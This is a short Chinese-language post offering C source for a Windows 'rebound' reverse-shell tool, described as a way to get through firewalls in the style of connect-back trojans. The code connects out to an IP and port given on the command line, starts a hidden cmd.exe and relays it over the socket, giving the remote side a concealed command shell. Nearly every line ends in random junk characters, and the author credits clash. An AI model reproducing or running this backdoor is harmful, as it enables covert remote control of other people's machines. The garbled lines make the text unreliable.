这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .05x=28n%
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/* ============================== C^7M>i
Rebound port in Windows NT pReSvF}}C
By wind,2006/7 Y InPmR
===============================*/ b] ~
#include |[X-i["y
#include ="P&!lu
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#pragma comment(lib,"wsock32.lib") q@XxCP]
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void OutputShell(); Xk }\-&C7
SOCKET sClient; 2q ~y\fe
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9YY*)5eyD
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void main(int argc,char **argv) c|Fu6LF a
{ VF:95F;@
WSADATA stWsaData; Vr hd\
int nRet; .x][ _I>
SOCKADDR_IN stSaiClient,stSaiServer; o "1X8v
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if(argc != 3) z4 KKt&
{ }NKnV3G/Z
printf("Useage:\n\rRebound DestIP DestPort\n"); ~2[mZias
return; $lb$ <
} kHd`k.nW
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WSAStartup(MAKEWORD(2,2),&stWsaData); o_n 3.O=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X9;51JV
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stSaiClient.sin_family = AF_INET; jbp?6GW
stSaiClient.sin_port = htons(0); t^"8
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |f2bb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 70.Tm#qh
{ Or:P*l
printf("Bind Socket Failed!\n"); ,M=s3D8C
return; =)nJ'}x
} *+_+ZDU
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stSaiServer.sin_family = AF_INET; Q:8t1ZDo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /]-a 1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i9D<jkc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fPq)Lx1'
{ ~ nb1c:F
printf("Connect Error!"); Suy +XHV
return; k(M(]y_
}
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OutputShell(); *M'/z=V?%
} V#X<Yt
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void OutputShell() j[Gg[7q{y
{ fndbGbl8p
char szBuff[1024]; v(p<88.!m
SECURITY_ATTRIBUTES stSecurityAttributes; =s&ycc;-5}
OSVERSIONINFO stOsversionInfo; 8wMwS6s:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FT\%=>{
STARTUPINFO stStartupInfo; \k5
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char *szShell; .JV y}^Q\
PROCESS_INFORMATION stProcessInformation; 395`Wkv
unsigned long lBytesRead; Qcn;:6_&W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~>XqR/v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .0p'G}1
stSecurityAttributes.lpSecurityDescriptor = 0; vURgR
stSecurityAttributes.bInheritHandle = TRUE; +0)H~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KPA.5,ai
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sY:=bU^P
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3Scc"9]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I8Y
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stStartupInfo.wShowWindow = SW_HIDE; W&v|-#7=6
stStartupInfo.hStdInput = hReadPipe; 1rON8=E
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OR}+)n{
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GetVersionEx(&stOsversionInfo); Y]DC; ,
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switch(stOsversionInfo.dwPlatformId) <==6fc>s
{ Y|buQQ|
case 1: odn3*{c{x
szShell = "command.com"; sgRWjrc/
break; D"exI]
default: }ld^zyL
szShell = "cmd.exe"; T3@34}*
break; ;,s9jw
} f{2I2kJr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D 9UM8Hxi
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send(sClient,szMsg,77,0); 28vQ
while(1) ;SX~u*`R
{ :6]qr 86
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MG~bDM4
if(lBytesRead) T3I{D@+0
{ 6";
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M3r;Pdj2r
send(sClient,szBuff,lBytesRead,0); k5Su&e4]]
} Cj$:TWYIh[
else s+(@UUl
{ 0o:R:*
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; ]B$J8.{q0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q>71uM%e`
} #\_8y`{x
} t7Mq>rFB
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return; (4#iLs
}